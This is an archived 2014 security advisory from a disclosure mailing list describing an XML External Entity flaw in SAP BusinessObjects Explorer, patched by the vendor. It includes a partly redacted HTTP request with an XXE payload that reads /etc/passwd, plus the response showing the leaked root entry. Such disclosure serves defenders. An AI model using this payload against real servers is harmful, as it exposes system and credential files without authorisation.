bugtraq - SAP Security Note 1908531 - XXE in BusinessObjects Explorer

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <4B70B66DA655F144855183C68062EE8901B8E601@trexchange.csnc.ch>
Date: Fri, 10 Oct 2014 07:38:52 +0200
From: "Alexandre Herzog" <alexandre.herzog@...c.ch>
To: <bugtraq@...urityfocus.com>, <fulldisclosure@...lists.org>
Subject: SAP Security Note 1908531 - XXE in BusinessObjects Explorer

#######################################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#######################################################################
#
# Product:           BusinessObjects Explorer
# Vendor:            SAP AG
# Subject:           Untrusted XML input parsing possible in SBOP Explorer
# Risk:              High
# Effect:            Remotely exploitable
# Author:            Stefan Horlacher
# Date:              2014-10-10
# SAP Security Note: 1908531 [0]
#
#######################################################################

Abstract:
-------------
BusinessObjects Explorer is vulnerable against XML External Entity (XXE) 
attacks. This affected the whole application and not only the examples 
described below. 
This vulnerability could be triggered as unauthenticated user, as the 
login request uses vulnerable XML processing as well. 


Affected:
---------
Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer


Technical Description:
----------------------
BusinessObjects Explorer does not validate user-defined XML inputs. 
Additionally, the service does run an XML interpreter allowing 
references to external entities. This leads to XML External Entity (XXE) 
attacks [1]. 

In the following example, an explorationSpaceUpdate request has been
used to store in the value of a country the content of file /etc/passwd:

	URL: /explorer/polestar_xml.jsp
	Request extract:
		POST /explorer/polestar_xml.jsp HTTP/1.1
		[CUT BY COMPASS]
		Content-Length: 33258
=>		xmlParameter=<!DOCTYPE dataDiscovery [ <!ENTITY include SYSTEM "/etc/passwd">]>
		<dataDiscovery><headers><correlationId>7E7B01A6-E238-716E-2082-
		0EB94532438F</correlationId><transactionId>0F14D6BC-ED78-8570-1415-
		0EB94532416E</transactionId></headers><session token="[CUT BY COMPASS]"
		locale="en_US"/><request><explorationSpaceUpdate infoObjectCUID="[CUT BY COMPASS]"
		displayName="" infospaceVersion="2" tip="[CUT BY COMPASS]" [CUT BY COMPASS]
		<value>%26include;</value><items selected="[CUT BY
		COMPASS]"/></row><row><value>AT</value><items selected="[CUT BY
		COMPASS]"/></row><row><value>AU</value><items selected="[CUT BY
		COMPASS]"/></row><row><value>BD</value><items
		[CUT BY COMPASS]
	Response extract:
		HTTP/1.1 200 OK
		[CUT BY COMPASS]
		Content-Length: 214
		<?xml version="1.0" encoding="UTF-8"
=>		standalone="no"?><dataDiscovery><response><explorationSpaceUpdate id="[CUT BY COMPASS]"
		infoObjectCUID="[CUT BY COMPASS]"/></response></dataDiscovery>

		
The following explorationSpaceDetail request has been used to retrieve
the stored value.

	URL: /explorer/polestar_xml.jsp
	Request extract:
		POST /explorer/polestar_xml.jsp HTTP/1.1
		[CUT BY COMPASS]
		Content-Length: 533
		xmlParameter=%3CdataDiscovery%3E%3Cheaders%3E%3CcorrelationId%3E[CUT BY
		COMPASS]%3C%2FcorrelationId%3E%3CtransactionId%3E[CUT BY
		COMPASS]%3C%2FtransactionId%3E%3C%2Fheaders%3E%3Csession%20token%3D%22[CUT BY
=>		COMPASS]%22%20locale%3D%22en%5FUS%22%2F%3E%3Crequest%3E%3CexplorationSpaceDetail%20id%3D
		%22[CUT BY COMPASS]%22%2F%3E%3C%2Frequest%3E%3C%2FdataDiscovery%3E
	Response extract:
		HTTP/1.1 200 OK
		[CUT BY COMPASS]
=>		<value>root:!:0:0::/:/usr/bin/ksh
		[CUT BY COMPASS]


Timeline:
---------
2013-06-06:     Discovery by Stefan Horlacher
2013-06-26:     Initial vendor notification
2014-06-10:     Vendor releases patch and SAP Security Note 1908531
2014-10-10:     Disclosure of the advisory


References:
-----------
[0] https://service.sap.com/sap/support/notes/1908531
[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

Download attachment "smime.p7s" of type "application/x-pkcs7-signature" (5234 bytes)